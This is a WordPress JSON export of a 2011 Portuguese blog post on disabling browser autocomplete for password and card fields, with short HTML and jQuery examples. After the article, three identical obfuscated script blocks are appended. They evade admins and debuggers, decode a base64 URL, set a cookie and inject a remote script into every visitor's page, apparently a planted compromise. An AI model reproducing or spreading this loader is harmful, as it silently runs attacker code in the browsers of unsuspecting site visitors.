{"id":1949,"date":"2011-11-23T12:19:00","date_gmt":"2011-11-23T14:19:00","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1949"},"modified":"2025-10-26T22:38:25","modified_gmt":"2025-10-27T01:38:25","slug":"desabilitar-o-autocompletar-em-campos-input","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/11\/23\/desabilitar-o-autocompletar-em-campos-input\/","title":{"rendered":"Desabilitar o Autocompletar em Campos Input"},"content":{"rendered":"<p style=\"text-align: justify;\">Em campos de login, senha, n\u00famero de cart\u00e3o de cr\u00e9dito, CPF e informa\u00e7\u00f5es que n\u00e3o podem ser compartilhada com usu\u00e1rios mal-intencionados \u00e9 uma boa pr\u00e1tica incluir o seguinte atributo AUTOCOMPLETE=\u201doff\u201d.<\/p>\n<p style=\"text-align: justify;\">Dessa forma o autocompletar fica desabilitado e o browser n\u00e3o salva a senha do usu\u00e1rio.<\/p>\n<p style=\"text-align: justify;\">Exemplo:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;input type=&quot;text&quot; name=&quot;campo&quot; autocomplete=&quot;off&quot; \/&gt;\n<\/pre>\n<p>Como esse atributo n\u00e3o \u00e9 v\u00e1lido pela W3C o pessoal costuma inserir o autocomplete=\"off\" via javascript:<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\n\/\/ Utilizando JQuery\njQuery('campo').attr('autocomplete','off');\n\/\/ Ou Javascript padr\u00e3o\ncampo.setAttribute('autocomplete','off');\n<\/pre>\n<p>Pode-se utilizar a solu\u00e7\u00e3o do javascript para adicionar esse atributo em campos do ADF e\/ou elementos onde n\u00e3o temos acesso direto ao c\u00f3digo HTML gerado.<\/p>\n<p>Mais informa\u00e7\u00f5es sobre a vulnerabilidade em:<\/p>\n<p style=\"text-align: justify;\"><a title=\"Vulnerabilidade\" href=\"https:\/\/www.owasp.org\/index.php\/Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_%28OWASP-AT-006%29\" target=\"_blank\" rel=\"noopener\">https:\/\/www.owasp.org\/index.php\/Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_%28OWASP-AT-006%29<\/a><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em campos de login, senha, n\u00famero de cart\u00e3o de cr\u00e9dito, CPF e informa\u00e7\u00f5es que n\u00e3o podem ser compartilhada com usu\u00e1rios mal-intencionados \u00e9 uma boa pr\u00e1tica incluir o seguinte atributo AUTOCOMPLETE=\u201doff\u201d. Dessa forma o autocompletar fica desabilitado e o browser n\u00e3o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/11\/23\/desabilitar-o-autocompletar-em-campos-input\/\">Continue lendo  <span class=\"screen-reader-text\">  Desabilitar o Autocompletar em Campos Input<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[68],"tags":[],"class_list":["post-1949","post","type-post","status-publish","format-standard","hentry","category-html-e-javascript"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1949","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1949"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1949\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}